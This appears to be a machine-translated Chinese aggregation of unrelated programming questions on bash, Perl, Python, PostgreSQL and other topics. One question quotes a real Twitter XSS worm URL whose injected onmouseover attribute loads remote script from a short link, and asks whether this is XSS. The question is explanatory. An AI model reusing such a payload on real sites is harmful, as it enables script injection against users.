我想分别获取文件名(没有扩展名)和扩展名.
我到目前为止找到的最佳解决方案是:
NAME=`echo "$FILE" | cut -d'.' -f1`
EXTENSION=`echo "$FILE" | cut -d'.' -f2`
Run Code Online (Sandbox Code Playgroud)
这是错误的,因为如果文件名包含多个.
字符,它将不起作用.如果,让我们说,我有a.b.js
,它会考虑a
和b.js
,而不是a.b
和js
.
它可以在Python中轻松完成
file, ext = os.path.splitext(path)
Run Code Online (Sandbox Code Playgroud)
但是如果可能的话,我宁愿不为此启动Python解释器.
有更好的想法吗?
如何为Perl启动交互式控制台,类似于irb
Ruby或python
Python 的命令?
试图从首选项 - >设置 - >键盘映射它,但"键"组合框只有"转发删除"但没有"删除".另一方面,我的键盘只有"删除"而没有"正向删除"!
除了偏好之外,还有其他方法吗?
在Ruby中,您可以使用文件读取s = File.read(filename)
.我在Python中知道的最短和最清晰的是
with open(filename) as f:
s = f.read()
Run Code Online (Sandbox Code Playgroud)
有没有其他方法可以使它更短(最好是一行),更具可读性?
注意:最初我把这个问题称为"在一行代码中执行此操作".正如S.Lott所指出的,更短的并不意味着更具可读性.所以我只是为了弄清楚我的意思而改写了我的问题.我认为Ruby代码更好,更可读,不一定是因为它是一行而不是两行(虽然这也很重要),但也因为它是一个类方法而不是实例方法,这对于谁关闭文件毫无疑问,即使引发异常,如何确保它被关闭等.如下面的答案中所指出的,你可以依靠GC来关闭你的文件(从而使它成为一个单行),但这会使代码变得更糟虽然它更短.不仅是不可移植,而是使其不清楚.
我似乎很难理解这一点.
calendar.timegm()
和之间有什么区别time.mktime()
?
假设我datetime.datetime
没有连接tzinfo,两个不应该给出相同的输出吗?难道他们都没有给出纪元和作为参数传递的日期之间的秒数?而且由于传递的日期没有tzinfo,那个秒数不一样吗?
>>> import calendar
>>> import time
>>> import datetime
>>> d = datetime.datetime(2010, 10, 10)
>>> calendar.timegm(d.timetuple())
1286668800
>>> time.mktime(d.timetuple())
1286640000.0
>>>
Run Code Online (Sandbox Code Playgroud) 你能解释一下今天Twitter上究竟发生了什么吗?基本上,漏洞利用导致人们发布包含此链接的推文:
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
这在技术上是XSS攻击还是其他什么?
以下是Twitter主页的外观:http://www.flickr.com/photos/travelist/6832853140/
Python中的所有特殊(魔术)方法是什么?的__xxx__
方法,即.
我经常寻找一种方法来覆盖我知道可以通过这些方法之一做的事情,但是我很难找到,因为据我所知,这些方法没有明确的清单,加上他们的名字并不是谷歌友好的.所以我认为在这里列出一些关于SO的列表是一个好主意.
我正在使用SELECT current_query FROM pg_stat_activity;
查看当前正在执行的查询,但我注意到该查询被截断.是否有任何解决方法或任何其他方式来查看当前正在执行的查询?
如何使用Python的urllib2创建"保持活跃"的HTTP请求?
从性能的角度来看,VARCHAR(100)是否比VARCHAR(500)更好?磁盘使用情况怎么样?
今天谈论PostgreSQL,而不是历史上的一些数据库.
python ×4
postgresql ×2
bash ×1
console ×1
diskusage ×1
filenames ×1
http ×1
interactive ×1
javascript ×1
jquery ×1
keep-alive ×1
macos ×1
performance ×1
perl ×1
security ×1
string ×1
terminal ×1
timezone ×1
twitter ×1
urllib2 ×1
varchar ×1
xss ×1